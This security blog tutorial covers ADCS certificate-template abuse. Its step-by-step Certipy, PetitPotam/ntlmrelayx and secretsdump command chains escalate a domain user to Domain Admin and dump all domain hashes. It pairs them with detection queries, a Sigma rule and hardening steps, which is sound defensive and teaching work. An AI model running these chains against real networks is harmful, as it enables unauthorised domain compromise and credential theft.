A low-privileged domain user — someone in the Helpdesk group, with no admin rights — runs a single command. Thirty seconds later, they’re Domain Admin. No vulnerability exploit, no zero-day. Just a misconfigured certificate template that’s been sitting in Active Directory Certificate Services for years.
This is the reality of ADCS abuse, and it’s happening in real environments right now.
TL;DR
- Active Directory Certificate Services (ADCS) is present in the majority of enterprise Windows environments — and is almost universally misconfigured
- Certipy (open source Python tool) can enumerate every ADCS misconfiguration and exploit them in minutes
- ESC1 lets any low-priv user request a certificate as any domain user, including Domain Admin — direct privilege escalation
- ESC8 chains NTLM relay with the ADCS Web Enrollment interface to obtain a Domain Controller certificate — enabling DCSync
- Detection requires specific Windows Event IDs (4886, 4887) and SIEM rules most organizations don’t have in place
Why ADCS Is the Most Underrated Attack Surface in Active Directory
Active Directory Certificate Services is Microsoft’s built-in Public Key Infrastructure (PKI) solution. Organizations use it to issue digital certificates for things like:
- Smart card login and passwordless authentication
- VPN and Wi-Fi authentication (802.1X)
- Code signing and document signing
- Encrypted email (S/MIME)
Here’s the problem: ADCS was designed in an era before AD security was well understood. The default certificate templates — many present since Windows Server 2003 — grant enrollment permissions to broad groups like “Domain Users” or “Authenticated Users.” And the settings that make a template dangerous are buried in obscure configuration flags that most administrators have never reviewed.
SpecterOps published their landmark research “Certified Pre-Owned” in 2021, identifying 8+ distinct privilege escalation categories (ESC1 through ESC8). Since then, Certipy has automated their discovery and exploitation entirely. In 2025, Certipy v5 added support for ESC9 through ESC16 — the attack surface keeps growing.
If your domain runs ADCS, you almost certainly have at least one of these misconfigurations.
Core Concepts
Before getting into attack techniques, let’s cover the key terms:
Certificate Authority (CA) — The server that issues certificates. Think of it like a passport office: it verifies identity and stamps official documents. In AD, this is typically a Windows Server running ADCS.
Certificate Template — A blueprint that defines what kind of certificate gets issued, who can request it, and what it can be used for. Templates have names like “User,” “Computer,” “WebServer,” “SmartCardLogon.” The misconfiguration is almost always in here.
Subject Alternative Name (SAN) — An optional field in a certificate that specifies alternative identities the certificate is valid for. Normally, the CA controls this. If a template lets the requester set the SAN, an attacker can request a certificate claiming to be anyone — including Domain Admin.
EKU (Extended Key Usage) — Defines what the certificate is allowed to do: client authentication, code signing, server authentication, etc. “Client Authentication” is what matters for AD attacks — it lets you authenticate as the certificate’s subject.
PKINIT — The Kerberos extension that allows a certificate to be used for Kerberos authentication. This is the bridge between certificate abuse and domain takeover: get a valid certificate for a privileged account → authenticate with Kerberos → get a TGT → get the hash → game over.
The ESC Framework: A Map of ADCS Misconfigurations
The “ESC” naming (ESC1, ESC2, …) comes from SpecterOps’ research. Each number identifies a specific class of misconfiguration. Here’s a quick overview:
| ESC | Misconfiguration | What It Allows |
|---|---|---|
| ESC1 | Template lets requester supply SAN | Request cert as any domain user, including DA |
| ESC2 | ”Any Purpose” EKU on template | Certificate valid for any use, including authentication |
| ESC3 | Enrollment Agent template | Two-stage: get agent cert → request cert on behalf of DA |
| ESC4 | Vulnerable template ACLs | Low-priv user can modify the template → convert to ESC1 |
| ESC6 | CA-level EDITF_ATTRIBUTESUBJECTALTNAME2 flag | All requests on all templates can supply custom SAN |
| ESC7 | Vulnerable CA ACLs | User has ManageCA rights → approve cert requests, add templates |
| ESC8 | NTLM relay to ADCS HTTP enrollment | Relay DC authentication to web enrollment → get DC cert |
| ESC9 | No Security Extension flag | SAN mapping exploited — attacker renames account to match target |
| ESC13 | IssuancePolicy linked to AD group | Cert grants group membership privileges |
| ESC15 | Application Policy override (EKUwu) | CSR-supplied policy overrides template EKU in v1 templates |
We’ll cover ESC1, ESC8, and ESC4 in detail — these are the most commonly found and exploited in real engagements.
The Tool: Certipy
Certipy is an open source Python tool by Oliver Lyak (ly4k) that does everything you need for ADCS attacks:
pip install certipy-adThe core workflow is two commands:
# Step 1: Enumerate — find all vulnerable templates and configurationscertipy find -u jsmith@corp.local -p 'Password123' -dc-ip 10.0.0.1 -vulnerable
# Step 2: Exploit — request a certificate using a vulnerable templatecertipy req -u jsmith@corp.local -p 'Password123' \ -ca CORP-CA \ -template VulnerableTemplate \ -upn administrator@corp.local \ -dc-ip 10.0.0.1
# Step 3: Authenticate — use the certificate to get NTLM hash + TGTcertipy auth -pfx administrator.pfx -dc-ip 10.0.0.1The find command produces a JSON report listing every misconfigured template, ranked by severity. In most environments, this list is not empty.
Attack 1: ESC1 — Direct Privilege Escalation via SAN Abuse
ESC1 is the most common and most impactful ADCS misconfiguration. It’s also the simplest to exploit.
What Makes a Template Vulnerable to ESC1
A template is vulnerable to ESC1 when all three of these conditions are true:
- Enrollee Supplies Subject is enabled (
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) → The person requesting the certificate gets to specify who the certificate belongs to - Client Authentication EKU is present → The certificate can be used for Kerberos/NTLM authentication
- Low-privileged accounts can enroll (Domain Users, Authenticated Users, etc.) → Anyone in the domain can request the certificate
When all three exist: any domain user can request a certificate that says it belongs to “administrator@corp.local.” Active Directory trusts the certificate. That user is now Domain Admin.
Step-by-Step ESC1 Attack
Step 1: Find vulnerable templates
certipy find -u jsmith@corp.local -p 'Password123' \ -dc-ip 10.0.0.1 -vulnerable -stdoutLook for output like:
Template Name : CorpUser Enabled : True Client Authentication : True Enrollee Supplies Subject : True [!] Vulnerabilities ESC1 : 'CORP\\Domain Users' can enroll ...Step 2: Request a certificate as Domain Admin
certipy req -u jsmith@corp.local -p 'Password123' \ -ca CORP-CA \ -template CorpUser \ -upn administrator@corp.local \ # ← SAN we're supplying -dc-ip 10.0.0.1# Output: Saved certificate and private key to 'administrator.pfx'Step 3: Authenticate using the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1# Output: Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:...# Saved TGT to administrator.ccacheCertipy uses PKINIT to authenticate and extracts the NT hash. You can now pass-the-hash to any service, or use the TGT directly with tools like impacket.
Step 4: Verify domain control
# DCSync using the retrieved hashsecretsdump.py -hashes :NThash corp.local/administrator@dc01.corp.local
# Or use the TGT for kerberos authexport KRB5CCNAME=administrator.ccachesecretsdump.py -k -no-pass dc01.corp.localTotal time from enumeration to Domain Admin: under 5 minutes in most environments.
Attack 2: ESC8 — NTLM Relay to ADCS Web Enrollment
ESC8 is more complex but doesn’t require any vulnerable template configuration. It exploits the ADCS HTTP Web Enrollment interface — an optional component that lets users request certificates through a web browser at http://ca-server/certsrv.
The attack: force a Domain Controller to authenticate to you via NTLM, then relay that authentication to the ADCS web enrollment interface to obtain a machine certificate for the DC. A DC machine certificate grants you DCSync capabilities.
Prerequisites
- ADCS Web Enrollment (certsrv) is installed and accessible
- The enrollment endpoint is HTTP (not HTTPS with EPA — Extended Protection for Authentication)
- NTLM is allowed (still the default in most environments)
The Attack Chain
- Coerce — PetitPotam forces the Domain Controller to authenticate outbound (NTLM)
- Relay — ntlmrelayx forwards that authentication to ADCS HTTP Web Enrollment
- Certificate — CA issues a machine certificate for DC$ to the attacker
- Authenticate —
certipy authuses the cert via PKINIT → TGT for DC$ - DCSync — secretsdump dumps all domain hashes including krbtgt
- Game over — Golden Ticket, full domain compromise
Step 1: Set up the relay
# ntlmrelayx from impacket — relay to ADCS web enrollment# -t = target (ADCS server), --adcs = ADCS relay mode, --template = which template to requestntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \ --adcs \ --template DomainControllerStep 2: Coerce DC authentication (PetitPotam)
# PetitPotam — abuses MS-EFSRPC to force the DC to authenticate to us# This works even without credentials in unpatched environmentspython3 PetitPotam.py -u '' -p '' attacker-ip dc01.corp.localPetitPotam exploits the Encrypting File System Remote Protocol. It tells the DC “hey, connect back to me for a file operation” — the DC obliges with NTLM authentication, which we relay directly to ADCS.
Step 3: ntlmrelayx delivers the certificate
[*] SMBD-Thread-4: Connection from DC01$@10.0.0.5 controlled, attacking target http://ca.corp.local[*] HTTP server returned error code 200, treating as a successful login[*] Generating CSR...[*] GOT CERTIFICATE! Saved as DC01$.pfxStep 4: Authenticate as the DC
certipy auth -pfx 'DC01$.pfx' -dc-ip 10.0.0.1# Output: Got hash for 'dc01$@corp.local': ...# Saved TGT to dc01$.ccacheStep 5: DCSync — dump the entire domain
export KRB5CCNAME=dc01$.ccachesecretsdump.py -k -no-pass dc01.corp.local# Dumps: krbtgt, Administrator, all domain hashesWith the krbtgt hash, you can create Golden Tickets valid for 10 years. The domain never recovers without a full AD rebuild.
Attack 3: ESC4 — Rewriting Templates via ACL Abuse
ESC4 is a stealthy escalation path. Instead of exploiting an already-vulnerable template, an attacker finds a template where they have write permissions — then modifies it to become vulnerable to ESC1.
Why This Matters
Sometimes an organization audits their templates and removes the obvious ESC1 misconfigurations. But if a low-privileged user (or service account) has WriteOwner, WriteDACL, or WriteProperty rights on a template, the attacker can simply re-enable the misconfiguration.
The Attack
# Step 1: Find templates with vulnerable ACLscertipy find -u jsmith@corp.local -p 'Password123' -dc-ip 10.0.0.1 -vulnerable# Look for ESC4 findings — template write permissions
# Step 2: Save the current template config (so you can restore it)certipy template -u jsmith@corp.local -p 'Password123' \ -template VulnerableACLTemplate \ -dc-ip 10.0.0.1 \ -save-old
# Step 3: Overwrite the template to enable ESC1certipy template -u jsmith@corp.local -p 'Password123' \ -template VulnerableACLTemplate \ -dc-ip 10.0.0.1 \ -configuration 'CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT'
# Step 4: Now exploit as ESC1 (request cert as DA)certipy req -u jsmith@corp.local -p 'Password123' \ -ca CORP-CA -template VulnerableACLTemplate \ -upn administrator@corp.local -dc-ip 10.0.0.1
# Step 5: Restore template (clean up — good opsec)certipy template -u jsmith@corp.local -p 'Password123' \ -template VulnerableACLTemplate \ -dc-ip 10.0.0.1 \ -configuration oldThis attack leaves minimal traces — the template modification happens in milliseconds, the exploit runs, and the template is restored before anyone notices.
Other ESCs Worth Knowing
ESC6 — CA-Level SAN Flag
Instead of a misconfigured template, the CA itself has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled. This flag overrides every template and allows any certificate requester to supply a custom SAN — regardless of template settings. A single CA flag compromise affects all templates simultaneously.
# ESC6 detectioncertipy find ... -stdout | grep -A2 "ESC6"
# Exploit: request cert on any template with client auth EKUcertipy req -u jsmith@corp.local -p 'Password123' \ -ca CORP-CA -template User \ -upn administrator@corp.local -dc-ip 10.0.0.1ESC7 — Vulnerable CA ACLs
A user has ManageCA or ManageCertificates rights on the CA itself. With ManageCA, an attacker can enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (turning it into ESC6), approve pending certificate requests, or add themselves as a CA officer.
ESC15 (EKUwu) — CVE-2024-49019
Patched in November 2024 Patch Tuesday but still relevant in unpatched environments. Version 1 templates (the oldest format, still common) allow the CSR to include Application Policy extensions that override the template’s EKU. An attacker requests a certificate with a szOID_PKIX_KP_CLIENT_AUTH Application Policy — even if the template specifies something non-authentication-related. The default “WebServer” template was exploitable out of the box.
Blue Team: Detection
Enable ADCS Auditing (It’s Off by Default)
The most critical first step — ADCS does not log certificate requests by default. You must enable it on the CA:
# Enable ADCS success and failure auditingcertutil -setreg CA\AuditFilter 127net stop certsvc && net start certsvcThis enables Event IDs 4886 and 4887 in the Windows Security log on the CA server.
Critical Event IDs
| Event ID | Source | Meaning |
|---|---|---|
| 4886 | CA Security Log | Certificate request received |
| 4887 | CA Security Log | Certificate issued |
| 4888 | CA Security Log | Certificate request denied |
| 4768 | DC Security Log | Kerberos TGT request (PKINIT auth shows Certificate Issuer) |
| 4769 | DC Security Log | Kerberos service ticket request |
| 4898 | CA Security Log | Certificate Services loaded a template |
KQL Detection: ESC1 — Subject Mismatch
The defining characteristic of ESC1 exploitation: the requester and the certificate subject are different identities.
// Detect certificate issued where requester ≠ certificate subject// Requires Microsoft Sentinel + ADCS logs forwardedSecurityEvent| where EventID == 4887| extend RequesterName = tostring(EventData.RequesterName), SubjectUserName = tostring(EventData.SubjectUserName)| where RequesterName !contains SubjectUserName| where SubjectUserName contains "admin" or SubjectUserName contains "da-" or SubjectUserName contains "svc-"| project TimeGenerated, RequesterName, SubjectUserName, TemplateName = tostring(EventData.TemplateName), CallerIpAddress = tostring(EventData.ClientAddress)| sort by TimeGenerated descKQL Detection: Bulk Certificate Requests
Certipy’s find command and reconnaissance creates multiple certificate requests in quick succession:
// Alert on more than 5 certificate requests from the same user in 10 minutesSecurityEvent| where EventID == 4886| summarize RequestCount = count(), Templates = make_set(tostring(EventData.TemplateName)) by RequesterName = tostring(EventData.RequesterName), bin(TimeGenerated, 10m)| where RequestCount > 5| sort by RequestCount descKQL Detection: ESC8 — NTLM Relay Indicator
Machine accounts requesting user-type certificates (or vice versa) is a strong signal:
// Machine account (ending in $) requesting a non-machine certificate templateSecurityEvent| where EventID == 4887| extend RequesterName = tostring(EventData.RequesterName)| where RequesterName endswith "$" // machine account| where tostring(EventData.TemplateName) !in ("Machine", "DomainController", "DomainControllerAuthentication", "KerberosAuthentication", "Computer")| project TimeGenerated, RequesterName, TemplateName = tostring(EventData.TemplateName), CallerIpAddress = tostring(EventData.ClientAddress)KQL Detection: Certificate-Based Kerberos Authentication
After obtaining a certificate, the attacker authenticates via PKINIT. This shows up in 4768 events with a specific authentication type:
// Kerberos authentication using a certificate (PKINIT)// Especially suspicious for privileged accounts from unusual sourcesSecurityEvent| where EventID == 4768| where tostring(EventData.CertIssuerName) != "" // cert-based auth| extend AccountName = tostring(EventData.TargetUserName)| where AccountName in~ ("administrator", "krbtgt") or AccountName startswith "da-" // adjust to your naming conventions| project TimeGenerated, AccountName, CertIssuer = tostring(EventData.CertIssuerName), IpAddress = tostring(EventData.IpAddress)| sort by TimeGenerated descSigma Rule: ESC1 Exploitation
title: ADCS ESC1 Certificate Request Subject Mismatchid: a7f3d9c2-1b4e-4f8a-9c2d-3e5f7a8b9d0estatus: experimentaldescription: Detects certificate issued where subject differs from requester — indicative of ESC1 exploitationreferences: - https://github.com/ly4k/Certipy - https://posts.specterops.io/certified-pre-owned-d95910965cd2logsource: product: windows service: securitydetection: selection: EventID: 4887 filter_same_subject: # Requester and subject should match in normal operation SubjectUserName|contains: '%RequesterName%' condition: selection and not filter_same_subjectfalsepositives: - Enrollment Agent scenarios (ESC3) where delegation is intentional - Some PKI-on-behalf-of workflowslevel: hightags: - attack.privilege_escalation - attack.t1649MITRE ATT&CK Mapping
| Technique | ID | Description |
|---|---|---|
| Steal or Forge Authentication Certificates | T1649 | Core ADCS abuse technique |
| Valid Accounts: Domain Accounts | T1078.002 | Using obtained credentials post-cert-auth |
| OS Credential Dumping: DCSync | T1003.006 | Post-ESC8 domain dump |
| Abuse Elevation Control Mechanism | T1548 | ESC4 template modification |
| LLMNR/NBT-NS Poisoning and SMB Relay | T1557.001 | ESC8 relay component |
| Forge Web Credentials: SAML Tokens | T1606.002 | Related cloud identity abuse post-compromise |
What You Can Do Today
Immediate: Enumerate Your Exposure
Run Certipy in your environment right now — this is authorized use in your own network:
# From any domain-joined system or with domain credentialscertipy find -u youruser@yourdomain.local -p 'yourpassword' \ -dc-ip <dc-ip> -vulnerable -output adcs_auditThis generates adcs_audit.json and adcs_audit.txt with every vulnerable template listed. If the -vulnerable output is empty, you’re in rare company.
Fix ESC1: Remove “Enrollee Supplies Subject”
In the Certificate Templates console (certtmpl.msc):
- Right-click vulnerable template → Properties
- Subject Name tab
- Change from “Supply in the request” → “Build from Active Directory information”
Or via PowerShell:
# Find and audit template settingsGet-CertificateTemplate | Where-Object { $_.Flags -band 0x1 # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT} | Select-Object Name, @{N="Flags";E={[Convert]::ToString($_.Flags,16)}}Fix ESC8: Require HTTPS + EPA on Web Enrollment
# Require SSL on the certsrv virtual directory in IIS# (Run on the CA/web enrollment server)Import-Module WebAdministrationSet-WebConfigurationProperty -pspath 'IIS:\Sites\Default Web Site\CertSrv' ` -filter "system.webServer/security/access" ` -name "sslFlags" ` -value "Ssl,SslNegotiateCert"Enable Extended Protection for Authentication in the CA settings:
certutil -setreg CA\AuthEncRequired 1net stop certsvc && net start certsvcFix ESC6: Remove the CA-Level SAN Flag
# Remove EDITF_ATTRIBUTESUBJECTALTNAME2 from the CAcertutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2net stop certsvc && net start certsvcAudit Certificate Template ACLs (ESC4)
# Check all templates for dangerous permissions$templates = Get-CertificateTemplateforeach ($t in $templates) { $acl = $t | Get-Acl $dangerous = $acl.Access | Where-Object { $_.ActiveDirectoryRights -match "WriteOwner|WriteDACL|WriteProperty" -and $_.IdentityReference -notmatch "Enterprise Admins|Domain Admins|SYSTEM" } if ($dangerous) { Write-Warning "Vulnerable ACL on template: $($t.Name)" $dangerous | Select-Object IdentityReference, ActiveDirectoryRights }}Enable ADCS Auditing Everywhere
# On every CA in your environmentcertutil -setreg CA\AuditFilter 127net stop certsvc && net start certsvc
# Verifycertutil -getreg CA\AuditFilter# Should return: 0x7f (127)Enforce Certificate Mapping (February 2025)
Microsoft moved to Full Enforcement mode for Kerberos certificate mapping in February 2025. Ensure your DCs are patched and the enforcement mode is active — this breaks certain certificate spoofing scenarios:
# Verify enforcement mode on DCGet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\Kdc -Name StrongCertificateBindingEnforcement# Value 2 = Full Enforcement (correct)# Value 1 = Compatibility mode (still vulnerable to some attacks)# Value 0 = Disabled (vulnerable)Conclusion
ADCS has been described as “a skeleton key to Active Directory” — and that’s accurate. A single misconfigured certificate template turns domain user into domain admin with no privilege boundary in between.
The good news: Certipy’s find command gives defenders the same visibility as attackers. Run it in your environment. Fix what it finds. Enable CA auditing and build the KQL rules.
The bad news: most organizations running ADCS have never audited it. The misconfigurations are often years old, introduced during initial deployment when the security implications weren’t understood. And unlike a missing patch, they won’t get fixed automatically.
Start with enumeration — then work through the findings by severity. ESC1 and ESC8 first. ESC6 if the flag is set. Template ACLs last. This is achievable hardening, and it closes some of the most impactful attack paths in any Windows environment.
Investigating suspicious certificate requests in your SIEM? Our SOC Log Analyzer parses Windows Security Event Log entries — paste Event ID 4886/4887 output for a structured breakdown of requester, subject, and template details.
Related Posts
- AD Attack Chains: Initial Access to Domain Admin — the broader AD attack chain where ADCS abuse is often the privilege escalation step
- Kerberoasting Deep Dive — credential-based AD attack that complements ADCS chains
- Entra ID Attacks: Device Code Phishing, PRT Theft, and Conditional Access Bypass — cloud identity attacks that often follow on-premises AD compromise
- Windows Event Log Security Analysis — how to collect and analyze the Event IDs referenced in this article
Sources
- Certified Pre-Owned — SpecterOps (Will Schroeder & Lee Christensen)
- Certipy GitHub — ly4k (Oliver Lyak)
- Certipy Wiki: Privilege Escalation (ESC1–ESC16)
- EKUwu: Not Just Another AD CS ESC — TrustedSec
- CVE-2024-49019 — PKI Solutions Analysis
- CVE-2022-26923 (Certifried) Explained — HackTheBox
- PetitPotam + ADCS Attack Chain — Optiv
- Mitigating NTLM Relay Attacks on AD CS — Microsoft KB5005413
- Detecting ADCS Privilege Escalation — HawkEye SIEM (2025)
- Attacker Exploits ADCS to Take Control of Domain — IBM X-Force
- Defending Your Directory: AD CS Security Guide — NCC Group
- Investigating Active Directory Certificate Abuse — CrowdStrike
- MITRE ATT&CK T1649 — Steal or Forge Authentication Certificates
- Certiception: ADCS Honeypot — SRLabs